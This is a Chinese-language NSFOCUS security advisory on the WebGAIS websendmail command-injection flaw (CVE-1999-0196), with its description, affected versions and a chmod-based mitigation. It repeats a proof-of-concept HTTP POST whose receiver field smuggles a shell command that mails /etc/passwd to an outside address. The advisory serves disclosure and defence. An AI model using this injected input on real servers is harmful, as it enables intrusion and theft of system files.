安全研究

安全漏洞
Websendmail脚本漏洞远程执行任意命令漏洞

发布日期:1997-07-04
更新日期:1997-07-04

受影响系统:
WebGAIS Development Team WebGAIS 1.0B2
WebGAIS Development Team WebGAIS 1.0B1
WebGAIS Development Team WebGAIS 1.0
描述:
BUGTRAQ  ID: 2077
CVE(CAN) ID: CVE-1999-0196

WEBgais是一个用Perl语言实现的CGI软件包,用于提供"gais" (Global Area Intelligent Search)搜索引擎基于Web的访问接口。

1.0B2以前版本WEBgais软件包中的websendmail脚本实现上存在输入验证漏洞,远程攻击者可以利用此漏洞以Web服务进程的权限在主机上执行任意系统命令。

问题在于程序脚本没有过滤用户输入中包含的一些shell转义字符,远程攻击者可能利用此漏洞以Web守护程序的权限(root或nobody)在主机上执行任意命令。

例如可以用如下的方法操作,在目标主机上执行命令:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (应该使用实际发送给服务器的串长度,在这里xxx=90)
receiver=;mail+BUGTRAQ\@NETSPACE.ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a

<*来源:Razvan Dragomirescu (drazvan@kappa.ro
  
  链接:http://xforce.iss.net/static/296.php
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Razvan Dragomirescu (drazvan@kappa.ro)提供了如下测试方法:

用如下的方法操作,在目标主机上执行命令:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (应该使用实际发送给服务器的串长度,在这里xxx=90)
receiver=;mail+BUGTRAQ\@NETSPACE.ORG</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在漏洞修补以前暂时停止此程序的使用,去除此脚本的执行权限或删除之。可以用如下命令去除脚本的执行权限:

# /bin/chmod 400 /usr/local/etc/httpd/cgi-bin/websendmail

厂商补丁:

WebGAIS Development Team
------------------------
厂商没有提供解决方案,建议按临时解决方法处理。

浏览次数:19916
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障